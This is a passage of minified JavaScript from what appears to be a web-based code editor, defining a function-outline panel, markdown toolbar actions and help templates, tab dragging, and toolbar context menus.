function_define"},{reg:/\s*class\s+(\w+)\s*:/g,reg_name:/\s*class\s+(\w+)\s*:/,reg_index:1,type:"class"}]},t=function(e,t){var i=e.match(t.reg);if(i){for(var a=[],n=i.length,o=0,s=e,r=0;n>r;r++){var l={};l.the_match=i[r];var c=l.the_match.match(t.reg_name);if(c&&!(c.lengthf;f++)l.name+=c[u[f]]}o=o+d+l.the_match.length,s=e.substr(o),l.type=t.type,t.type_extents!==void 0&&$.each(t.type_extents,function(e,t){l.the_match.match(t)&&(l.type+=" "+e)}),a.push(l)}}return a}},i=function(i,a){if(void 0!==e[a]){for(var n=e[a],o=[],s=0;n.length>s;s++){var r=t(i,n[s]);r&&Array.prototype.push.apply(o,r)}o.sort(function(e,t){var i="pos_start";return e[i]=t[i]?1:void 0});for(var l=i.split("\n"),c=0,d=o[c],p=0,u=0;l.length>u&&d;u++){for(;d&&d.pos_start>=p&&d.pos_start<=p+l[u].length;)o[c].range={start:{row:u,column:d.pos_start-p},end:{row:u,column:d.pos_end-p}},c++,d=o[c];p=p+l[u].length+1}return o}},a=function(e){return e=e.replace(/[\r\n {]+/gi," "),e=e.replace(/"/gi,"'"),e=e.replace(/\/gi,">")};return function(t){var n="",o='No outline for the active view
',s=$("#"+t.kod.uuid).parent(),r=s.find(".function_search input"),l=s.find(".function_list_box"),c=function(){var e=Editor.current();if(!e||e.kod===void 0)return l.html(o),void 0;var t=function(e){var t=e.replace(/(^\s*)|(\s*$)/g,"");return t.replace(/(\{$)/,"")},s=e.kod.mode,c=i(e.getValue(),s);if(c===void 0||0==c.length)return l.html(o),void 0;var p=e.getCursorPosition().row;n="";for(var f=0;c.length>f;f++){var h=c[f],m=h.range;if(m){c.length-1>f&&p>=c[f].range.start.row&&c[f+1].range&&c[f+1].range.start.row>p&&(h.type+=" row_select"),f==c.length-1&&p>=c[f].range.start.row&&(h.type+=" row_select");var _=m.start.row+","+m.start.column+","+m.end.row+","+m.end.column,v=t(t(h.the_match)).substr(0,150);n+=''+' '+''+a(h.name)+"
"}}r.val()||d(r.val()),u()},d=function(e){if(""==n)return l.html(o),void 0;if(!e||""==e)return l.html(n),u(),void 0;var t=$(""+n+"
");t.find(".cell").each(function(){var t=$(this).text(),i=t.toLowerCase().indexOf(e.toLowerCase());-1!=i?(t=t.substr(0,i)+""+t.substr(i,e.length)+" "+t.substr(i+e.length),$(this).html(t)):$(this).parent().remove()}),l.html(t.html()),p($(l.find(".list_row").get(0)))},p=function(e){if(1==e.length){l.find(".list_row").removeClass("row_select"),e.addClass("row_select");var t=e.attr("data-range"),i=t.split(","),a={start:{row:parseInt(i[0]),column:parseInt(i[1])},end:{row:parseInt(i[2]),column:parseInt(i[3])}};Editor.current()&&(Editor.current().revealRange(a),r.textFocus())}},u=function(){var e=l;if(e.outerHeight()!=e.prop("scrollHeight")){var t=e.scrollTop(),i=t+e.height(),a=e.find(".row_select").index(),n=e.find(".list_row:eq(0)").outerHeight(),o=e.scrollTop();t>a*n?o=a*n:(a+1)*n>i&&(o=a*n-e.height()+n),e.scrollTop(o)}},f=function(){var e="mouse_is_down";l.delegate(".list_row","mouseover mousedown mouseout mouseup",function(t){var i=$(this);switch(t.type){case"mouseover":i.parent().hasClass(e)?p(i):i.addClass("row_hover");break;case"mousedown":p(i),i.parent().addClass(e);break;case"mouseout":i.removeClass("row_hover");break;case"mouseup":i.parent().removeClass(e);break;default:}}),l.bind("mouseup",function(){r.textFocus()}),l.bind("mousedown",function(t){return 1!=t.which?!0:(l.setCapture&&l.setCapture(),$(document).one("mouseup",function(){l.removeClass(e),l.releaseCapture&&l.releaseCapture()}),void 0)});var t=function(){var e=r.val();d(e),""==e?s.find(".search_reset").addClass("hidden"):s.find(".search_reset").removeClass("hidden")};r.unbind("keydown").bind("keydown",function(e){switch(e.keyCode){case 37:break;case 39:break;case 38:0!=s.find(".row_select").prev().length&&(p(s.find(".row_select").prev()),u()),stopPP(e);break;case 40:0!=s.find(".row_select").next().length&&(p(s.find(".row_select").next()),u()),stopPP(e);break;case 27:case 13:p(s.find(".row_select")),r.val(""),t(),Editor.current()&&Editor.current().focus(),stopPP(e);break;default:setTimeout(t,5)}}),s.find(".search_reset").unbind("click").bind("click",function(){r.val(""),t(),Editor.current()&&Editor.current().focus()})};return f(),{refresh:c,support:function(t){return-1==$.inArray(t,objectKeys(e))?!1:!0}}}}),define("app/src/edit/markdownTools",[],function(){var e=function(){return Editor.current()},t={bold:{type:"inline",tag:"**",insert:"**${1:Bold Text}**",title:"Bold (Ctrl-B)","class":"bold"},italic:{type:"inline",tag:"*",insert:"*${1:Italic Text}*",title:"Italic (Ctrl-I)","class":"italic"},strikethrough:{type:"inline",tag:"~~",insert:"~~${1:Strikethrough Text}~~",title:"Strikethrough","class":"strikethrough"},h1:{type:"head",insert:"# ",title:"Header 1 ","class":"text-height"},h2:{type:"head",insert:"## ",title:"Header 2 "},h3:{type:"head",insert:"### ",title:"Header 3 "},h4:{type:"head",insert:"#### ",title:"Header 4 "},h5:{type:"head",insert:"###### ",title:"Header 5 "},quote:{type:"head",insert:"> ",title:"Quote (Ctrl-Q)","class":"quote-left"},list_order:{type:"head",insert:" 1. ",title:"Unordered list (Ctrl-O)","class":"list-ol"},list_unorder:{type:"head",insert:" - ",title:"Ordered list (Ctrl-U)","class":"list-ul"},list_task:{type:"head",insert:"- [ ] ",title:"Incomplete task list","class":"check-empty"},list_task_complete:{type:"head",insert:"- [x] ",title:"Complete task list","class":"check"},line:{type:"insert",insert:"\n\n\n----\n$1",title:"Line ","class":"minus"},link:{type:"insert",insert:"[${1:}](http://$2)",title:"Link (Ctrl-L)","class":"link"},image:{type:"image",insert:"",title:"Image (Ctrl-G)","class":"picture"},table:{type:"insert",insert:"\n\n\n| header 1 | header 2 |\n| ----------- | ----------- |\n| row 1 col 1 | row 1 col 2 |\n| row 2 col 1 | row 2 col 2 |\n\n",title:"Table ","class":"table"},code:{type:"inlineBlock",title:"Code (Ctrl-K)","class":"code",inline:{tag:"`",insert:"`${1:Code}`"},block:{tag:"\n```\n",insert:"\n```\n${1:code}\n```\n"}},math:{type:"inlineBlock",title:"Math (Ctrl-M)","class":"superscript",inline:{tag:"$$",insert:"$$${1:Math}$$"},block:{tag:"\n```\n",insert:"\n```math\n${1:}\n```\n"}}},i=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),a=t.insert;
if(""!==i&&(a=a.replace(/\{1:.*\}/g,"{1:"+i+"}")),""!==i){var n=e.getSelectionRange(),o={start:{row:n.start.row,column:n.start.column-t.tag.length},end:n.start},s={start:n.end,end:{row:n.end.row,column:n.end.column+t.tag.length}};e.session.getTextRange(o)==t.tag&&e.session.getTextRange(s)==t.tag&&(e.selection.setSelectionRange({start:o.start,end:s.end}),a="${1:"+i+"}")}ace.snippetManager.insertSnippet(e,a)},a=function(e,t){for(var i=e.getSelectionRange(),a=[],n=i.end.row-i.start.row+1,o=0,s=0;n>s;s++){var r={start:{row:i.start.row+s,column:0},end:{row:i.start.row+s,column:t.insert.length}};a.push(r),e.session.getTextRange(r)==t.insert&&o++}for(var s=0;n>s;s++){var l=a[s];n==o?e.session.doc.remove(l):e.session.doc.insert({row:l.start.row,column:0},t.insert)}},n=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),a=t.insert;""!==i&&(a=a.replace(/\{1:.*\}/g,"{1:"+i+"}")),ace.snippetManager.insertSnippet(e,a)},o=function(e,t){var a=e.session.getTextRange(e.getSelectionRange()),n=e.getSelectionRange(),o=e.session.getLine(n.start.row),s={type:"inline",tag:t.inline.tag,insert:t.inline.insert,title:t.title};(n.start.row!=n.end.row||a===o.replace(/(^\s*)|(\s*$)/g,""))&&(s={type:"inline",tag:t.block.tag,insert:t.block.insert,title:t.title}),i(e,s)},s=function(){var e=["bold","italic","strikethrough","|","h1","line","quote","list_order","list_unorder","|","link","image","code","table","math"],i="";return $.each(e,function(e,a){if("|"==a)i+="| ";else{var n=t[a],o="class='md-tools md-tools-"+a+" "+(n["class"]?"icon-"+n["class"]:"")+"' ";i+=" "}}),i},r=function(e){core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(t){core.fileLink(t,function(i){var a=core.pathThis(t),n="";ace.snippetManager.insertSnippet(e,n)})})},l=function(s){var l=t[s],c=e();if(l&&c){switch(l.type){case"inline":i(c,l,s);break;case"head":a(c,l,s);break;case"insert":n(c,l,s);break;case"inlineBlock":o(c,l,s);break;case"image":r(c);break;default:}e().focus()}},c=function(e){e.find(".md-tools[data-action]").bind("click",function(){var e=$(this).attr("data-action");l(e)})},d=function(e){$.each(t,function(i){var a=t[i];if(a.title&&a.title.match(/\((.*)\)/)){var n=a.title.match(/\((.*)\)/)[1],o=n.replace("Ctrl","Command");e.commands.addCommand({name:i,bindKey:{win:n,mac:o},exec:function(e){"ace/mode/markdown"==e.session.$modeId&&l(i)}})}})};return{bindEvent:function(e,t){e.find(".toolbar .content").html(s()),c(e),"ace/mode/markdown"==t.session.$modeId&&d(t)},doAction:l}}),define("app/src/edit/tpl/markdown_help_cn.html",[],'\n
1.标题与文字格式 \n
标题
\n
\n# 一级标题\n## 二级标题\n### 三级标题\n#### 四级标题\n##### 五级标题\n \n
文字格式
\n
\n*斜体*\n**粗体**\n***粗斜体*** \n~~删除线~~\n \n
水平线
\n
\n--- \n \n
了解更多 \n
\n\n\n
2.列表 \n
无序列表
\n
\n- item 1\n- item 2\n* item 3\n(可以是[减号,星号,加号]+空格)\n \n
有序列表
\n
\n1. item 1 [数字+空格]\n2. item 2\n3. item 3\n - child 1\n - child 2\n \n
\n\n\n
3.其他 \n
图片
\n
\n\n \n\n
连接
\n
\n[链接名称](http://链接网址)\n<http://链接网址>\n \n\n
引用
\n
\n> 引用\n> 折行可以不加,新起一行要加\n \n\n
代码
\n
\n行内代码:`code`\n```\nvar msg = "多行代码";\nalert(msg);\n```\n \n\n
公式
\n
\n行内公式 $$E=mc^2$$ ;\n\n多行公式\n$$E=mc^2$$\n\n多行公式2\n```math\nE=mc^2\n```\n \n
编辑器 \n |
公式教程 \n
\n'),define("app/src/edit/tpl/markdown_help.html",[],'\n
1.Headers and Emphasis \n
Headers
\n
\n# Header 1\n## Header 2\n### Header 3\n#### Header 4\n##### Header 5\n \n
Emphasis
\n
\n*Emphasis*\n**Strong**\n***Emphasis Strong*** \n~~Strikethrough~~\n \n
Line
\n
\n--- \n \n
Learn More \n
\n\n\n
2.Lists \n
Unordered list
\n
\n- item 1\n- item 2\n* item 3\n(also[- ,* ,+ )\n \n
Ordered list
\n
\n1. item 1\n2. item 2\n3. item 3\n - child 1\n - child 2\n \n
\n\n\n
3.Others \n
Image
\n
\n\n \n\n
Links
\n
\n[Link text](http://url)\n<http://url>\n \n\n
Blockquotes
\n
\n> Are you \n> ok ?\n \n\n
Code
\n
\ninline code:`code`\n```\nvar msg = "Block code";\nalert(msg);\n```\n \n\n
LaTeX Math
\n
\ninline $$E=mc^2$$ ;\n\nblock\n$$E=mc^2$$\n\nblock2\n```math\nE=mc^2\n```\n \n
Math Editor \n
\n'),define("app/src/edit/tpl/edit_tab_content.html",[],'\n\n'),define("app/src/edit/taskTap",[],function(){var e=function(){$(".edit_tab .tab").live("mouseenter",function(){$(this).addClass("hover"),$(this).unbind("mousedown").mousedown(function(e){1!=e.which||$(this).hasClass("this")||$.nodeName(e.target,"A")||($(this).removeClass("hover").addClass("this"),Editor.select($(this).attr("uuid")))}).unbind("mouseup").mouseup(function(e){2==e.which&&Editor.remove($(this).attr("uuid"))})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}).die("dblclick").live("dblclick",function(e){stopPP(e)}),$(".edit_tab").die("dblclick").live("dblclick",function(e){Editor.add(),stopPP(e)}),$(".edit_tab .tab .close").live("click",function(){var e=$(this).parent().attr("uuid");Editor.remove(e)})},t=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},i=function(){$("body").click(t).contextmenu(t),$.contextMenu({zIndex:9999,selector:".edit_tab_menu",items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"---------",close:{name:LNG.close,icon:"remove",accesskey:"d"},close_left:{name:LNG.close_left,icon:"remove-sign",accesskey:"l"},close_right:{name:LNG.close_right,icon:"remove-sign",accesskey:"r"},close_others:{name:LNG.close_others,icon:"remove-circle",accesskey:"o"},sep2:"--------",open_the_path:{name:LNG.open_the_path,icon:"plus",accesskey:"n"},preview:{name:LNG.preview,icon:"globe",accesskey:"p"}},callback:function(e,t){var i=t.$trigger,a=i.attr("uuid");switch(e){case"refresh":Editor.refresh(a);break;case"close":Editor.remove(a);break;case"close_left":var n=$(".edit_tab .tabs .tab").index(i);$(".edit_tab .tabs .tab:lt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close_right":var n=$(".edit_tab .tabs .tab").index(i);$(".edit_tab .tabs .tab:gt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close_others":$(".edit_tab .tabs .tab").each(function(){var e=$(this).attr("uuid");e!=a&&Editor.remove(e)});break;case"open_the_path":var o=i.attr("title");if(""==o)return Tips.tips(LNG.not_exists,"warning"),void 0;var s=core.pathFather(o),r=ShareData.frameTop();r.core.openPath(s);break;case"preview":Toolbar.doAction("preview");break;default:}}})},a=function(){var e,t,i,a,n=!1,o=!1,s=0,r=0,l=0,c=0,d=0,p=0,u=0,f=0;$(".edit_tab .tab").die("mousedown").live("mousedown",function(t){$.nodeName(t.target,"A")||(e=$.nodeName(t.target,"SPAN")?$(t.target).parent():$(this),1==t.which&&(n=!0,this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(e){v(e),this.releaseCapture&&this.releaseCapture()})))});var h=function(a){o=!0,s=a.pageX,l=a.pageY,$tab_parent=$(".edit_tab"),t=$(".edit_tab .tab"),$(".draggable-dragging").remove(),i=e.clone().addClass("draggable-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),r=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width")),c=$sizeInt(t.css("height"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),h=a.clientX-s+r;$("body").prepend("
"),i.css({width:d+"px",top:n,left:h}),e.css("opacity",0)},m=function(a){if(n){0==o&&h(a);var u=a.clientX-s+r,f=a.clientY-l+c;i.css({left:u,top:f}),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(u>t&&t+d/2+p>u){if(e.attr("uuid")==$(this).attr("uuid"))return;_($(this).attr("uuid"),"left")}if(u>t-d/2+p&&t>u){if(e.attr("uuid")==$(this).attr("uuid"))return;_($(this).attr("uuid"),"right")}})}},_=function(i,n){if(!e.is(":animated")||a!=i){a=i,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".edit_tab .tab");var o=e.width(),s=$(".edit_tab .tab_"+i),r=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(s).css("width","0px"):(e.before(s).css("width","0px"),s.before(r)),e.animate({width:o+"px"},animate_time),r.animate({width:"0px"},animate_time,function(){$(this).remove(),t=$(".edit_tab .tab")})}},v=function(){if(n=!1,o=!1,startTime=0,$(".dragMaskView").remove(),Editor.current()&&Editor.current().focus(),void 0!=i){var t=e.get(0).getBoundingClientRect().left,a=e.get(0).getBoundingClientRect().top;i.animate({left:t+"px",top:a+"px"},animate_time,function(){e.css("opacity",1),$(this).remove()})}}},n=function(e,t,i){"remove"==e&&t.removeClass("edit_tab_menu");var a=1.4*animate_time,n=150,o=n,s=$(".edit_tab .tab.edit_tab_menu"),r=$sizeInt($(".edit_tab .tabs").width()),l=$sizeInt(s.css("margin-right"))+$sizeInt(s.css("border-right")),c=$sizeInt($(".edit_tab .add").css("width"))+30,d=s.length,p=Math.floor((r-c)/(n+l));switch(d>p&&(o=Math.floor((r-c)/d)-l),e){case"add":$(".edit_tab .tabs .this").css({"margin-top":"30px",width:o}).stop(1,1).animate({"margin-top":"0px"},a),s.animate({width:o+"px"},a);break;case"remove":void 0!=i&&Editor.select(i),t.stop(1,1).animate({width:"0","margin-top":"+=30"},a,function(){t.remove()}),s.stop(1,1).animate({width:o+"px"},a);break;case"resize":s.css("width",o+"px");break;default:}};return{rightMenu:{hidden:t},resetWidth:n,init:function(){e(),a(),i()}}}),define("app/src/edit/toolbar",[],function(){var e=function(){i(),$(".toolMenu").bind("click mouseup",stopPP),$(".toolMenu").on("mousedown",function(){$(".toolMenu").removeClass("select"),$(this).addClass("select"),$(this).contextMenu({action:e})});var e=function(e,t){if(t.parent().hasClass("top_toolbar"))e.css({left:t.offset().left-4,top:t.outerHeight()-1});else if(t.parent().hasClass("bottom_toolbar")){var i=t.offset().left-e.outerWidth()+t.outerWidth()-5;e.css({left:i,top:t.offset().top-e.outerHeight()})}e.find("input").length>=1&&setTimeout(function(){e.find("input").focus()},10)};$.contextMenu({selector:".menuViewGotoline",trigger:"none",callback:n,items:{gotoline:{name:LNG.goto,className:"disable gotoline_input",type:"text"}}}),$.contextMenu({selector:".menuViewTab",trigger:"none",callback:n,items:{soft_tab:{name:"Soft Tabs (spaces)",className:"soft_tab"},sep1:"---------",tab_size_2:{name:"Tab with:2",className:"tab_size_set tab_size_2"},tab_size_3:{name:"Tab with:3",className:"tab_size_set tab_size_3"},tab_size_4:{name:"Tab with:4",className:"tab_size_set tab_size_4"},tab_size_8:{name:"Tab with:8",className:"tab_size_set tab_size_8"},sep2:"---------",convert_to_space:{name:"Convert To Space",className:"convert_to_space"},convert_to_tab:{name:"Convert To Tabs",className:"convert_to_tab"}}});for(var t=G.code_font_all.split(","),a={},s=0;t.length>s;s++){var r=t[s],l=replaceAll(r," ","_");a["set_font_family_"+r]={name:r,className:"set_font_family_"+l}}$.contextMenu({selector:".menuViewSetting",trigger:"none",callback:n,items:{tools:{name:LNG.tools,icon:"ellipsis-horizontal",accesskey:"m",items:{preview:{name:LNG.preview+"Ctrl+Shift+S ",icon:"edit"},open_ie:{name:LNG.open_ie,icon:"external-link",accesskey:"b"},sep1:"---------",beautify_html:{name:"html "+LNG.beautify_code,icon:"angle-right"},beautify_css:{name:"css "+LNG.beautify_code,icon:"angle-right"},beautify_js:{name:"js "+LNG.beautify_code,icon:"angle-right"},sep10:"---------",beautify_php:{name:"php "+LNG.beautify_code,icon:"angle-right"}}},sep1:"---------",function_list:{name:LNG.function_list+"Ctrl+Shift+E ",className:"function_list"},show_gutter:{name:LNG.show_gutter,className:"show_gutter"},auto_wrap:{name:LNG.wordwrap,className:"auto_wrap"},display_char:{name:LNG.char_all_display,className:"display_char"},sep2:"---------",font_family:{name:LNG.font_family,icon:"italic",className:"code_font_family_list",accesskey:"m",items:a},ace_mode:{name:LNG.keyboard_type,icon:"code",accesskey:"m",items:{keyboard_type_ace:{name:"Default",className:"keyboard_type_ace"},keyboard_type_vim:{name:"vim",className:"keyboard_type_vim"},keyboard_type_emacs:{name:"emacs",className:"keyboard_type_emacs"}}},sep3:"---------",help:{name:LNG.help,icon:"question",items:{shortcut:{name:LNG.shortcut,icon:"keyboard"},about:{name:LNG.about,icon:"info-sign"},emmet:{name:"Emmet help",icon:"code"},sep4:"-----------",learnMore:{name:LNG.learn_more,icon:"external-link"}}}}}),$(".tools [action]").bind("click",function(e){var t=$(this).attr("action");return n(t),Editor.current()&&Editor.current().focus(),stopPP(e),!1}),$(".tab_size_set").click(function(){var e=$(this).text().split(":");Editor.saveConfig("tab_size",e[1]),Editor.current()&&Editor.current().focus(),Editor.current().execCommand("convertIndent","reset_size")}),$("ul.code_font_family_list .context-menu-item").click(function(){Editor.saveConfig("font_family",$(this).find("span").html(),""),Editor.current()&&Editor.current().focus(),o()}),$("body").click(function(e){try{$(".toolMenu").removeClass("select"),window.parent.rightMenu.hidden(),e&&$(e.target).is("textarea")||$(e.target).is("input")||0!=$(e.target).parents(".right_main").length||Editor.current()&&Editor.current().focus()}catch(e){}}),$(".gotoline_input input").keyup(function(){Editor.current().gotoLine($(this).val())})},t=function(){var e=Editor.aceModeList.modes,t='